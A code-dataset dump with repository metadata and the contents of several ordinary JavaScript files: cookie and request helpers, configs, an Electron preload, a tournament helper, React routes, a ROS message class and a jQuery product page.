hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2265c65ca9888a3dc59bf44a5c4382240ceaa434 | 2,042 | js | JavaScript | public/js/driverScript.js | thelyaa/BuildingGame | 2d690f7b4d74079823b091507aaf102d109588c8 | [
"Apache-2.0"
] | null | null | null | public/js/driverScript.js | thelyaa/BuildingGame | 2d690f7b4d74079823b091507aaf102d109588c8 | [
"Apache-2.0"
] | null | null | null | public/js/driverScript.js | thelyaa/BuildingGame | 2d690f7b4d74079823b091507aaf102d109588c8 | [
"Apache-2.0"
] | null | null | null | function setCookie(name,value,days) {
var expires = "";
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days*24*60*60*1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/";
}
function getCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
function eraseCookie(name) {
document.cookie = name+'=; Max-Age=-99999999;';
}
var firmId;
function GetFirmInfo(){
$.post("/getFirmById", {firmId: firmId}, function(data){
htmlPage = '<h1>' + data.name + '</h1>';
$("#firmInfo").html(htmlPage);
});
}
function GetRequest(){
var materialsName = ['Фундамент', 'Cтены', 'Крыша', 'Степлер', 'Скотч', 'Скрепки', 'Скобы для степлера'];
$.post('/checkRequests', {}, function(data){
var htmlTable = '<table>';
htmlTable += '<th>Фирма</th><th>Материалы</th><th>Статус</th>';
data.forEach(function(item){
console.log(item);
if ((item.status == 1 || item.status == 4) && item.firm.firmId == getCookie("firmId")) {
htmlTable += '<tr><td>' + item.firm.name + '</td>';
htmlTable += '<td>';
for (var i = 1; i < 8; i++){
if (item.materials["material"+i] > 0)
htmlTable += materialsName[i-1] + ':' + item.materials["material"+i] + '<br>';
}
htmlTable += '</td>';
if (item.status == 1) htmlTable += '<td>Ожидает доставки</td>';
else htmlTable += '<td>Выполнена</td>';
}
});
htmlTable += '</table>';
$("#main").html(htmlTable);
});
}
GetFirmInfo();
GetRequest(); | 32.935484 | 109 | 0.497062 |
2265de1260bb1f4b44b71f3e594184f8dbf90e51 | 103 | js | JavaScript | data/theme/admin/assets/js/pages/admin/Category/Edit.js | webx-top/blog | a3f94333ec3d47b89a1fd1f284d344fcce474b5f | [
"Apache-2.0"
] | 11 | 2016-01-19T06:53:07.000Z | 2017-04-13T14:00:12.000Z | data/theme/admin/assets/js/pages/admin/Category/Edit.js | webx-top/blog | a3f94333ec3d47b89a1fd1f284d344fcce474b5f | [
"Apache-2.0"
] | null | null | null | data/theme/admin/assets/js/pages/admin/Category/Edit.js | webx-top/blog | a3f94333ec3d47b89a1fd1f284d344fcce474b5f | [
"Apache-2.0"
] | null | null | null | $(function(){
webx.includes('select.js');
select('#select-rcategeries',100,'.prettySelector');
}); | 25.75 | 53 | 0.660194 |
2266051edb5b85211a3160814c719d001a1edd35 | 412 | js | JavaScript | dist/module/invoices/dto/update-invoice.dto.js | quandd1792000/cored-backend | adf8d8962ba6415e51cc259279161bca0259a79e | [
"MIT"
] | null | null | null | dist/module/invoices/dto/update-invoice.dto.js | quandd1792000/cored-backend | adf8d8962ba6415e51cc259279161bca0259a79e | [
"MIT"
] | null | null | null | dist/module/invoices/dto/update-invoice.dto.js | quandd1792000/cored-backend | adf8d8962ba6415e51cc259279161bca0259a79e | [
"MIT"
] | null | null | null | "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.UpdateInvoiceDto = void 0;
const swagger_1 = require("@nestjs/swagger");
const create_invoice_dto_1 = require("./create-invoice.dto");
class UpdateInvoiceDto extends (0, swagger_1.PartialType)(create_invoice_dto_1.CreateInvoiceDto) {
}
exports.UpdateInvoiceDto = UpdateInvoiceDto;
//# sourceMappingURL=update-invoice.dto.js.map | 45.777778 | 98 | 0.791262 |
226788c609656bb1800345b08a1a998d74ddbafe | 908 | js | JavaScript | languages/c/templates/function.js | BuggyOrg/codegen | 63607266a2e44e0c14063651cb9f6ed261d6ae64 | [
"MIT"
] | null | null | null | languages/c/templates/function.js | BuggyOrg/codegen | 63607266a2e44e0c14063651cb9f6ed261d6ae64 | [
"MIT"
] | null | null | null | languages/c/templates/function.js | BuggyOrg/codegen | 63607266a2e44e0c14063651cb9f6ed261d6ae64 | [
"MIT"
] | null | null | null | module.exports = {
Function: {
definition: (data) =>
t('Function.begin')(data) + data.content + t('Function.end')(data),
declare: (data) =>
t('Function.declaration')(data) + ';',
declaration: (data) =>
`void ${data.prefix}${data.name} (${t('Function.arguments')(data)})`,
begin: (data) =>
`${t('Function.declaration')(data)} {\n`,
end: (data) =>
`\n}`,
arguments: (data) => {
if (data.arguments) {
return data.arguments.map((a) => a.type + ' ' + a.port).join(', ')
} else {
return data.inputs.map(t('Function.Argument.input'))
.concat(data.outputs.map(t('Function.Argument.output'))).join(', ')
}
},
Argument: {
input: (port) => `${t('dataType')(port.type)}& input_${sanitize(port.port)}`,
output: (port) => `${t('dataType')(port.type)}& output_${sanitize(port.port)}`,
}
}
}
| 27.515152 | 85 | 0.527533 |
22685dc098270aa8eba230f0633b48459c8a424b | 463 | js | JavaScript | test/config.js | jesusvilla/knext | 12f65c9d05d14d3c0103f913c44260842f8fcf01 | [
"MIT"
] | 2 | 2019-12-06T13:25:54.000Z | 2019-12-07T14:37:16.000Z | test/config.js | jesusvilla/knext | 12f65c9d05d14d3c0103f913c44260842f8fcf01 | [
"MIT"
] | null | null | null | test/config.js | jesusvilla/knext | 12f65c9d05d14d3c0103f913c44260842f8fcf01 | [
"MIT"
] | 1 | 2019-12-06T14:23:23.000Z | 2019-12-06T14:23:23.000Z | export const config = {
postgres: {
client: 'postgres',
connection: {
host: '127.0.0.1',
user: 'postgres',
password: 'admin',
database: 'test',
port: 5432
}
},
firebird: {
client: 'firebird',
connection: {
host: '127.0.0.1',
user: 'sysdba',
password: 'masterkey',
database: 'C:\\Users\\Familia\\Documents\\Jesus\\firebird\\TEST.FDB',
port: 3050
}
}
} | 21.045455 | 76 | 0.49892 |
2269013bdd6cf5ed3d878b25fc5703e260562103 | 1,058 | js | JavaScript | private/js/01-Config.js | Spb8Lighting/FixturesFinder | bf506ca3ae665b39485ac66173b13d29228d78e7 | [
"CC0-1.0"
] | 1 | 2018-08-18T17:38:07.000Z | 2018-08-18T17:38:07.000Z | private/js/01-Config.js | Spb8Lighting/FixturesFinder | bf506ca3ae665b39485ac66173b13d29228d78e7 | [
"CC0-1.0"
] | 3 | 2018-01-20T21:56:35.000Z | 2022-03-25T18:21:07.000Z | private/js/01-Config.js | Spb8Lighting/FixturesFinder | bf506ca3ae665b39485ac66173b13d29228d78e7 | [
"CC0-1.0"
] | null | null | null | const electron = require('electron')
, config = require('../../config')
, remote = electron.remote
, ipcRenderer = electron.ipcRenderer
, RunMode = (process.env.NODE_ENV !== undefined) ? false : true
, Icon = {
max: `<svg viewBox="0 0 20 20">
<path d="M 1 1 V19 H19 V1 H1 z M19 19 H1 V4 H19 V19 z" />
</svg>`,
min: `<svg viewBox="0 0 20 20">
<path d="M7 1 V11 H19 V1 H7 z M19 11 H7 V3 H19 V11 z"/>
<path d="M12 12 L12 19 L1 19 L1 9 L6 9 L6 9 L1 9 L1 19 L12 19 L12 19z" />
<rect x="1" y="9" width="4.5" height="2" />
</svg>`
}
, $btn = {
min: document.getElementById('min-btn'),
max: document.getElementById('max-btn'),
close: document.getElementById('close-btn')
}
, $aLink = document.querySelectorAll('aside a')
, $h1 = document.querySelector('h1>span')
, $MainContent = document.getElementById('maincontent')
, SlotClass = 'wheelfield'
ipcRenderer.on('ModalTemplate', (e, data) => {
document.body.insertAdjacentHTML('beforeend', data.template)
}) | 37.785714 | 77 | 0.600189 |
22694d1f3021b268d2656d4fe35a4c709e0d41a4 | 1,405 | js | JavaScript | src/tournamentEngine/governors/tournamentGovernor/getContainedStructures.js | CourtHive/competitionFactory | dee35b7f93e29b2cc6f3dd0307622e548ffb4005 | [
"MIT"
] | 5 | 2021-01-04T15:24:21.000Z | 2022-03-01T13:59:30.000Z | src/tournamentEngine/governors/tournamentGovernor/getContainedStructures.js | CourtHive/competitionFactory | dee35b7f93e29b2cc6f3dd0307622e548ffb4005 | [
"MIT"
] | 41 | 2020-11-25T10:23:49.000Z | 2022-03-30T13:55:13.000Z | src/tournamentEngine/governors/tournamentGovernor/getContainedStructures.js | CourtHive/competitionFactory | dee35b7f93e29b2cc6f3dd0307622e548ffb4005 | [
"MIT"
] | 2 | 2021-08-22T18:03:20.000Z | 2022-03-06T11:02:32.000Z | /**
* Finds all container structures within a tournament object and returns a mapping of container structureIds to arrays of contained structureIds
*
* @param {object} tournamentRecord - TODS tournament object
* @param {object} drawDefinition - TODS draw object
* @param {object} event - TODS event object
* @returns {object} mapping
*/
export function getContainedStructures({
tournamentRecord,
drawDefinition,
event,
}) {
const events = tournamentRecord?.events || (event && [event]);
const drawDefinitions =
events
?.map((event) => event?.drawDefinitions)
.flat()
.filter(Boolean) ||
(drawDefinition && [drawDefinition]) ||
[];
const containedStructures = {};
const containerStructures = {};
const structureContainers = drawDefinitions
.map(({ structures }) =>
structures?.filter((structure) => structure?.structures)
)
.flat()
.filter(Boolean);
for (const structureContainer of structureContainers) {
const { structures, structureId } = structureContainer || {};
structures &&
(containedStructures[structureId] = structures?.map(
(structure) => structure.structureId
)) &&
structures.forEach(
(structure) =>
(containerStructures[structure.structureId] =
structureContainer.structureId)
);
}
return { containedStructures, containerStructures };
}
| 29.270833 | 144 | 0.671886 |
2269e0071abca0578ba3723cc4d73a40f57918af | 377 | js | JavaScript | client/src/services/lab5/ExerciseService.js | all-rit/ALL | 43614dcdd9b914c87c20019f99ddf9ae8dd9956c | [
"MIT"
] | 4 | 2021-09-30T23:52:10.000Z | 2022-01-31T02:55:39.000Z | client/src/services/lab5/ExerciseService.js | all-rit/ALL | 43614dcdd9b914c87c20019f99ddf9ae8dd9956c | [
"MIT"
] | 34 | 2020-12-23T19:02:32.000Z | 2022-03-27T18:14:49.000Z | client/src/services/lab5/ExerciseService.js | all-rit/ALL | 43614dcdd9b914c87c20019f99ddf9ae8dd9956c | [
"MIT"
] | null | null | null | import API from '../API';
const endpoints = {
SUBMIT_CHOICE: '/lab5/exercise/choice',
};
const ExerciseService = {
submitChoice: (correct, question,selectedoption,
options) => {
return API.postWithBody(process.env.REACT_APP_SERVER_URL + endpoints.SUBMIT_CHOICE, {
correct,
question,
selectedoption,
options
});
}
};
export default ExerciseService;
| 18.85 | 87 | 0.70557 |
226a6e66642161ea80c521634db307318e56ee2f | 430 | js | JavaScript | src/Routes.js | maritzuhcom/city | 6a553132e5aa3f4730d72591bd2102ad33ef87dc | [
"MIT"
] | null | null | null | src/Routes.js | maritzuhcom/city | 6a553132e5aa3f4730d72591bd2102ad33ef87dc | [
"MIT"
] | null | null | null | src/Routes.js | maritzuhcom/city | 6a553132e5aa3f4730d72591bd2102ad33ef87dc | [
"MIT"
] | null | null | null | import React from 'react';
import { HashRouter, Switch, Route } from 'react-router-dom';
import Home from './components/home/Home';
import NoMatch from './components/common/NoMatch';
// NOTE this is where we add screens and their routes
const Routes = () => (
<HashRouter>
<Switch>
<Route exact path="/" component={Home} />
<Route component={NoMatch} />
</Switch>
</HashRouter>
);
export default Routes;
| 25.294118 | 61 | 0.669767 |
226a7076cdcd91788871cab8804b82730380588b | 956 | js | JavaScript | main/preload.js | elenamik/qvault | bece7958504f4d9a0b403386f8bd90de98fe0232 | [
"MIT"
] | 4 | 2020-04-18T17:59:09.000Z | 2020-05-12T18:09:49.000Z | main/preload.js | elenamik/qvault | bece7958504f4d9a0b403386f8bd90de98fe0232 | [
"MIT"
] | null | null | null | main/preload.js | elenamik/qvault | bece7958504f4d9a0b403386f8bd90de98fe0232 | [
"MIT"
] | 1 | 2020-08-28T12:32:55.000Z | 2020-08-28T12:32:55.000Z | const fs = require('fs');
const crypto = require('crypto');
const {type} = require('os');
const electron = require('electron');
// Expose select NodeJS functionality for the renderer process
const nodeAPI = {
Buffer: Buffer,
fs: {
existsSync: fs.existsSync,
readFileSync: fs.readFileSync,
writeFileSync: fs.writeFileSync,
unlinkSync: fs.unlinkSync,
},
crypto: {
randomBytes: crypto.randomBytes,
createHash: crypto.createHash,
scryptSync: crypto.scryptSync,
createCipheriv: crypto.createCipheriv,
createDecipheriv: crypto.createDecipheriv,
},
os: {
type: type,
},
electron: {
ipcRenderer: electron.ipcRenderer,
clipboard: electron.clipboard,
remote: electron.remote,
app: electron.app,
shell: electron.shell,
}
};
// export to window global for app
if (process && process.type === 'renderer'){
window.nodeAPI = nodeAPI;
}
// export for tests
module.exports = {
nodeAPI
};
| 22.232558 | 62 | 0.6841 |
226a91dfe75eeacbb563767d59584157dc61ecb6 | 18,369 | js | JavaScript | public/jsinline/sanalFabrika_products.js | kuisatz/b2argebilisim | 643239185f57f87f79213557dc3037b1c073726e | [
"BSD-3-Clause"
] | null | null | null | public/jsinline/sanalFabrika_products.js | kuisatz/b2argebilisim | 643239185f57f87f79213557dc3037b1c073726e | [
"BSD-3-Clause"
] | null | null | null | public/jsinline/sanalFabrika_products.js | kuisatz/b2argebilisim | 643239185f57f87f79213557dc3037b1c073726e | [
"BSD-3-Clause"
] | null | null | null | $(document).ready(function () {
window.i = 0;
window.lang = new Lang();
lang.dynamic($('#langCode').val(), '/plugins/jquery-lang-js-master/langpack/' + $('#langCode').val() + '.json');
lang.init({
defaultLang: 'en'
});
lang.change($('#langCode').val());
$('#header_company_name').empty();
$('#header_company_name').append("<i class='fa fa-user'></i>" + $('#selectedCompanyShN').val().toUpperCase());
$('#loging_ph').empty();
if ($('#pk').val()) {
var prod_service_url = 'pkFillCompanyInfoProducts_infoFirmProfile';
var loging_value = window.lang.translate('Log out');
} else {
var prod_service_url = 'fillCompanyInfoProductsGuest_infoFirmProfile';
var loging_value = window.lang.translate('Log in');
}
$('#loging_ph').append(loging_value);
$.ajax({
url: 'https://proxy.b2argebilisim.com/SlimProxyBoot.php',
// url: 'http://proxy.b2argebilisim.com:9990/SlimProxyBoot.php',
data: {
url: 'fillCompanyInfoEmployeesGuest_infoFirmProfile',
language_code: $("#langCode").val(),
npk: $('#selectedCompanyNpk').val()
},
method: "GET",
dataType: "json",
success: function (data) {
var imageFolAddress = 'https://' + window.location.hostname + '/onyuz/standard/assets/img/sfClients/EMGE/Logos/';
window.logosrc = imageFolAddress + data[0].logo;
$('#profileLogosrc').attr('src', window.logosrc);
}
});
/*
* Products categories and category products service
*
*
*/
$.ajax({
url: 'https://proxy.b2argebilisim.com/SlimProxyBoot.php',
// url: 'http://proxy.b2argebilisim.com:9990/SlimProxyBoot.php',
data: {
url: prod_service_url,
language_code: $("#langCode").val(),
npk: $('#selectedCompanyNpk').val(),
pk: $('#pk').val()
},
method: "GET",
dataType: "json",
success: function (data) {
var j;
var dataSet = [];
var properties = [];
$('#sample_header').empty();
for (j = 0; j < data.length; j++) {
var product = data[j].product_name;
var product_image = data[j].product_picture;
var product_desc = data[j].product_description;
var product_video = data[j].product_video_link;
// var category = data[j].product_category;
var category = null;
// var customer = data[j].product_customer;
var customer = null;
// var finished_good = data[j].product_fin_g;
var finished_good = null;
// var price = data[j].product_price;
var price = null;
if (category === null) {
category = 'Registration Required!';
}
if (customer === null) {
customer = 'Registration Required!';
}
if (finished_good === null) {
finished_good = 'Registration Required!';
}
if (price === null) {
price = 'Only Available for System Members';
}
dataSet.push([product, category, customer, finished_good, price, "Order Now"]);
properties.push([{key: 'name', value: product}, {key: 'image', value: product_image}, {key: 'desc', value: product_desc}, {key: 'video_link', value: product_video}]);
}
/*
* Page header random sample product chooser
*/
var colors = ["red", "yellow", "sea", "dark", "green", "blue", "purple"]
var fir_sam_prod = properties[Math.floor(Math.random() * properties.length)];
var second_sam_prod = properties[Math.floor(Math.random() * properties.length)];
var sel_color_1 = colors[Math.floor(Math.random() * colors.length)];
var sel_color_2 = colors[Math.floor(Math.random() * colors.length)];
var app_sam_prod =
"<div class='col-sm-6 sm-margin-bottom-40'>"
+ "<div class='funny-boxes funny-boxes-top-"
+ sel_color_1
+ "'>"
+ "<div class='row'>"
+ "<div class='col-md-5 funny-boxes-img'>"
+ "<img class='img-responsive' src='"
+ "https://"
+ window.location.hostname
+ "/onyuz/standard/assets/img/sfClients/EMGE/Products/"
+ fir_sam_prod[1].value
+ "' alt=''>"
+ "</div>"
+ "<div class='col-md-7'>"
+ "<h2>"
+ fir_sam_prod[0].value
+ "</h2>"
+ "</div>"
+ "</div>"
+ "<hr>"
+ "<div class='row'>"
+ "<p>"
+ fir_sam_prod[2].value
+ "</p>"
+ "</div>"
+ "</div>"
+ "</div>"
+ "<div class='col-sm-6 sm-margin-bottom-40'>"
+ "<div class='funny-boxes funny-boxes-top-"
+ sel_color_2
+ "'>"
+ "<div class='row'>"
+ "<div class='col-md-5 funny-boxes-img'>"
+ "<img class='img-responsive' src='"
+ "https://"
+ window.location.hostname
+ "/onyuz/standard/assets/img/sfClients/EMGE/Products/"
+ second_sam_prod[1].value
+ "' alt=''>"
+ "</div>"
+ "<div class='col-md-7'>"
+ "<h2>"
+ second_sam_prod[0].value
+ "</h2>"
+ "</div>"
+ "</div>"
+ "<hr>"
+ "<div class='row'>"
+ "<p>"
+ second_sam_prod[2].value
+ "</p>"
+ "</div>"
+ "</div>"
+ "</div>";
$('#sample_header').append(app_sam_prod);
/*
* product table
*/
$('#product_table').DataTable({
data: dataSet,
fixedColumns: true,
scrollX: true,
select: {
style: 'single'
},
columns: [
{title: "Product"},
{title: "Category"},
{title: "Customer"},
{title: "Finished Good"},
{title: "Price"},
{title: "Order"}
]
});
window.table = $('#product_table').DataTable();
$('#product_table tbody').on('click', 'tr', function () {
if ($(this).hasClass('selected')) {
$(this).removeClass('selected');
}
else {
window.table.$('tr.selected').removeClass('selected');
$(this).addClass('selected');
}
var selectedRowIndex = $(this)[0]._DT_RowIndex;
// this.style.color = '#72c02c';
var d = window.table.row(this).data();
/*
*
* @type type
* ajxa request to get product properties should be added here...
* for now a properties array is created...
*/
//
if ($('#product_details_DIV').css('visibility') === 'hidden') {
$('#product_details_DIV').empty();
var appending =
"<h3>"
+ window.lang.translate('Product Details')
+ "</h3>"
+ "<div class='col-md-4'>"
+ "<a href='"
+ "https://"
+ window.location.hostname
+ "/onyuz/standard/assets/img/sfClients/EMGE/Products/"
+ properties[selectedRowIndex][1].value
+ "' target='_newtab'>"
+ "<img class='mach_sample' src='"
+ "https://"
+ window.location.hostname
+ "/onyuz/standard/assets/img/sfClients/EMGE/Products/"
+ properties[selectedRowIndex][1].value
+ "' alt=''>"
+ "</a>"
+ "</div>"
+ "<div class='col-md-8'>"
+ "<div class='panel panel-profile no-bg'>"
+ "<div class='panel-heading overflow-h'>"
+ "<h2 class='panel-title heading-sm pull-left'>"
+ "<i class='fa fa-pencil'></i>"
+ window.lang.translate('Product Properties')
+ "</h2>"
+ "<a href='#'>"
+ "<i class='fa fa-cog pull-right'></i>"
+ "</a>"
+ "</div>"
+ "<div id='productPropertiesTable' class='panel-body no-padding mCustomScrollbar' data-mcs-theme='minimal-dark'>"
+ "</div>"
+ "</div>"
+ "</div>";
$('#product_details_DIV').append(appending);
var properties_temp = properties[selectedRowIndex];
window.colors = ["color-one", "color-two", "color-three", "color-four", "color-five", "color-six", "color-seven"];
$.each(properties_temp, function (key, value) {
var picked_color = window.colors[Math.floor(Math.random() * window.colors.length)];
var appending2 =
"<div class='profile-post "
+ picked_color
+ "'>"
+ "<span class='profile-post-numb' style='width:150px;font-size:12px'>"
+ properties_temp[key].key
+ "</span>"
+ "<div class='profile-post-in'>"
+ "<h3 class='heading-xs'>"
+ properties_temp[key].value
+ "</h3>"
+ "<p></p>"
+ "</div>"
+ "</div>";
$('#productPropertiesTable').append(appending2);
});
$('#product_details_DIV').css('visibility', 'visible');
$('#product_details_DIV').slideDown('slow');
$('#product_details_DIV').attr('lastIndex', selectedRowIndex);
} else {
if ($('#product_details_DIV').attr('lastIndex').toString() === selectedRowIndex.toString()) {
$('#product_details_DIV').attr('lastIndex', selectedRowIndex);
$('#product_details_DIV').slideUp('Slow');
$('#product_details_DIV').css('visibility', 'hidden');
} else {
$('#product_details_DIV').attr('lastIndex', selectedRowIndex);
$('#product_details_DIV').slideUp('Slow');
$('#product_details_DIV').css('visibility', 'hidden');
$('#product_details_DIV').empty();
$('#product_details_DIV').empty();
var appending =
"<h3>"
+ window.lang.translate('Product Details')
+ "</h3>"
+ "<div class='col-md-4'>"
+ "<a href='"
+ "https://"
+ window.location.hostname
+ "/onyuz/standard/assets/img/sfClients/EMGE/Products/"
+ properties[selectedRowIndex][1].value
+ "' target='_newtab'>"
+ "<img class='mach_sample' src='"
+ "https://"
+ window.location.hostname
+ "/onyuz/standard/assets/img/sfClients/EMGE/Products/"
+ properties[selectedRowIndex][1].value
+ "' alt=''>"
+ "</a>"
+ "</div>"
+ "<div class='col-md-8'>"
+ "<div class='panel panel-profile no-bg'>"
+ "<div class='panel-heading overflow-h'>"
+ "<h2 class='panel-title heading-sm pull-left'>"
+ "<i class='fa fa-pencil'></i>"
+ window.lang.translate('Product Properties')
+ "</h2>"
+ "<a href='#'>"
+ "<i class='fa fa-cog pull-right'></i>"
+ "</a>"
+ "</div>"
+ "<div id='productPropertiesTable' class='panel-body no-padding mCustomScrollbar' data-mcs-theme='minimal-dark'>"
+ "</div>"
+ "</div>"
+ "</div>";
$('#product_details_DIV').append(appending);
var properties_temp = properties[selectedRowIndex];
window.colors = ["color-one", "color-two", "color-three", "color-four", "color-five", "color-six", "color-seven"];
$.each(properties_temp, function (key, value) {
var picked_color = window.colors[Math.floor(Math.random() * window.colors.length)];
var appending2 =
"<div class='profile-post "
+ picked_color
+ "'>"
+ "<span class='profile-post-numb' style='width:150px;font-size:12px'>"
+ properties_temp[key].key
+ "</span>"
+ "<div class='profile-post-in'>"
+ "<h3 class='heading-xs'>"
+ properties_temp[key].value
+ "</h3>"
+ "<p></p>"
+ "</div>"
+ "</div>";
$('#productPropertiesTable').append(appending2);
});
$('#product_details_DIV').css('visibility', 'visible');
$('#product_details_DIV').slideDown('slow');
}
}
if ($('#product_details_DIV').css('visibility') === 'visible') {
$('html, body').animate({
scrollTop: $("#product_details_DIV").offset().top
}, 1000);
}
});
}
});
});
/*
* fixed first column js call
*
*/
// $("#product_table").tableHeadFixer({"head": false, "left": 2});
function listOfCertificates() {
if ($("#qualityDetaildDIV").hasClass('active')) {
$("#qualityDetaildDIV").removeClass('active');
$("#qualityDetaildDIV").slideUp('Slow');
$("#qualityDetailsInsideDIV").empty();
} else {
window.i++;
$("#qualityDetailsInsideDIV").append('Certificates ' + i + ' , ');
$("#qualityDetaildDIV").addClass("active");
$("#qualityDetaildDIV").slideDown("slow");
}
}
function qualityHistory() {
if ($("#qualityDetaildDIV").hasClass('active')) {
$("#qualityDetaildDIV").removeClass('active');
$("#qualityDetaildDIV").slideUp('Slow');
$("#qualityDetailsInsideDIV").empty();
} else {
window.i++;
$("#qualityDetailsInsideDIV").append('history ' + i + ' , ');
$("#qualityDetaildDIV").addClass("active");
$("#qualityDetaildDIV").slideDown("slow");
}
}
function qualityPerformances() {
if ($("#qualityDetaildDIV").hasClass('active')) {
$("#qualityDetaildDIV").removeClass('active');
$("#qualityDetaildDIV").slideUp('Slow');
$("#qualityDetailsInsideDIV").empty();
} else {
$("#qualityDetaildDIV").addClass("active");
$("#qualityDetaildDIV").slideDown("slow");
}
}
function performanceDetails() {
if ($("#pastPerformanceDetailsDIV").hasClass('active')) {
$("#pastPerformanceDetailsDIV").removeClass('active');
$("#pastPerformanceDetailsDIV").slideUp('Slow');
$("#pastPerformanceDetailsInsideDIV").empty();
} else {
$("#pastPerformanceDetailsDIV").addClass("active");
$("#pastPerformanceDetailsDIV").slideDown("slow");
}
}
function customerDetails() {
if ($("#customerDetailsDIV").hasClass('active')) {
$("#customerDetailsDIV").removeClass('active');
$("#customerDetailsDIV").slideUp('Slow');
$("#customerDetailsInsideDIV").empty();
} else {
$("#customerDetailsInsideDIV").append();
$("#customerDetailsDIV").addClass("active");
$("#customerDetailsDIV").slideDown("slow");
}
}
| 40.82 | 182 | 0.412652 |
226b1b9f5ee98587a1de0179c5083a00d47b8196 | 5,640 | js | JavaScript | robot/install/share/gennodejs/ros/intera_core_msgs/msg/IODataStatus.js | satvu/TeachBot | 5888aea544fea952afa36c097a597c5d575c8d6d | [
"BSD-3-Clause"
] | null | null | null | robot/install/share/gennodejs/ros/intera_core_msgs/msg/IODataStatus.js | satvu/TeachBot | 5888aea544fea952afa36c097a597c5d575c8d6d | [
"BSD-3-Clause"
] | null | null | null | robot/install/share/gennodejs/ros/intera_core_msgs/msg/IODataStatus.js | satvu/TeachBot | 5888aea544fea952afa36c097a597c5d575c8d6d | [
"BSD-3-Clause"
] | null | null | null | // Auto-generated. Do not edit!
// (in-package intera_core_msgs.msg)
"use strict";
const _serializer = _ros_msg_utils.Serialize;
const _arraySerializer = _serializer.Array;
const _deserializer = _ros_msg_utils.Deserialize;
const _arrayDeserializer = _deserializer.Array;
const _finder = _ros_msg_utils.Find;
const _getByteLength = _ros_msg_utils.getByteLength;
let IOStatus = require('./IOStatus.js');
//-----------------------------------------------------------
class IODataStatus {
constructor(initObj={}) {
if (initObj === null) {
// initObj === null is a special case for deserialization where we don't initialize fields
this.name = null;
this.format = null;
this.data = null;
this.status = null;
}
else {
if (initObj.hasOwnProperty('name')) {
this.name = initObj.name
}
else {
this.name = '';
}
if (initObj.hasOwnProperty('format')) {
this.format = initObj.format
}
else {
this.format = '';
}
if (initObj.hasOwnProperty('data')) {
this.data = initObj.data
}
else {
this.data = '';
}
if (initObj.hasOwnProperty('status')) {
this.status = initObj.status
}
else {
this.status = new IOStatus();
}
}
}
static serialize(obj, buffer, bufferOffset) {
// Serializes a message object of type IODataStatus
// Serialize message field [name]
bufferOffset = _serializer.string(obj.name, buffer, bufferOffset);
// Serialize message field [format]
bufferOffset = _serializer.string(obj.format, buffer, bufferOffset);
// Serialize message field [data]
bufferOffset = _serializer.string(obj.data, buffer, bufferOffset);
// Serialize message field [status]
bufferOffset = IOStatus.serialize(obj.status, buffer, bufferOffset);
return bufferOffset;
}
static deserialize(buffer, bufferOffset=[0]) {
//deserializes a message object of type IODataStatus
let len;
let data = new IODataStatus(null);
// Deserialize message field [name]
data.name = _deserializer.string(buffer, bufferOffset);
// Deserialize message field [format]
data.format = _deserializer.string(buffer, bufferOffset);
// Deserialize message field [data]
data.data = _deserializer.string(buffer, bufferOffset);
// Deserialize message field [status]
data.status = IOStatus.deserialize(buffer, bufferOffset);
return data;
}
static getMessageSize(object) {
let length = 0;
length += object.name.length;
length += object.format.length;
length += object.data.length;
length += IOStatus.getMessageSize(object.status);
return length + 12;
}
static datatype() {
// Returns string type for a message object
return 'intera_core_msgs/IODataStatus';
}
static md5sum() {
//Returns md5sum for a message object
return 'bb31283c6afc4ddea2f5f157264e5909';
}
static messageDefinition() {
// Returns full string definition for message
return `
## IO Data Status
string name # IO Data Component name
string format # data format:
# A JSON object containing one or more of the following fields:
# Required:
# "type" : "<type>" JSON Type, one of:
# "bool", "int", "float", "string", "object", "array"
#
# Optional:
# "dimensions" : [ N,...] if absent, [ 1 ] is assumed.
# "role" : Signal: "input", "output"; Port: "sink", "source"
# "data_type" : qualifier for the JSON type, may be device-specific
# int data_types: "uN", "sN", "NqM"
# other device-specific qualifiers may be used and will be passed through.
string data # JSON data value. An Array is expected, for example "[ 0 ]"
IOStatus status # Data Component status
================================================================================
MSG: intera_core_msgs/IOStatus
## IO status data
#
string tag # one of the values listed below
# down Inoperative, not fully instantiated
# ready OK, fully operational
# busy OK, not ready to output data; input data value may be stale
# unready OK, not operational; data is invalid
# error Error, not operational
string DOWN = down
string READY = ready
string BUSY = busy
string UNREADY = unready
string ERROR = error
#
string id # message id, for internationalization
#
string detail # optional additional status detail
#
`;
}
static Resolve(msg) {
// deep-construct a valid message object instance of whatever was passed in
if (typeof msg !== 'object' || msg === null) {
msg = {};
}
const resolved = new IODataStatus(null);
if (msg.name !== undefined) {
resolved.name = msg.name;
}
else {
resolved.name = ''
}
if (msg.format !== undefined) {
resolved.format = msg.format;
}
else {
resolved.format = ''
}
if (msg.data !== undefined) {
resolved.data = msg.data;
}
else {
resolved.data = ''
}
if (msg.status !== undefined) {
resolved.status = IOStatus.Resolve(msg.status)
}
else {
resolved.status = new IOStatus()
}
return resolved;
}
};
module.exports = IODataStatus;
| 30.486486 | 98 | 0.579787 |
226b2e21320a963e0b1653b9e9547a33f8cb5d1e | 537 | js | JavaScript | v1/helpers/jwtAuthHelper.js | itsUk45/nodejs-boilerspot | 8178f6713d03e29ab5b5361dba2fc3adeb3f1f51 | [
"MIT"
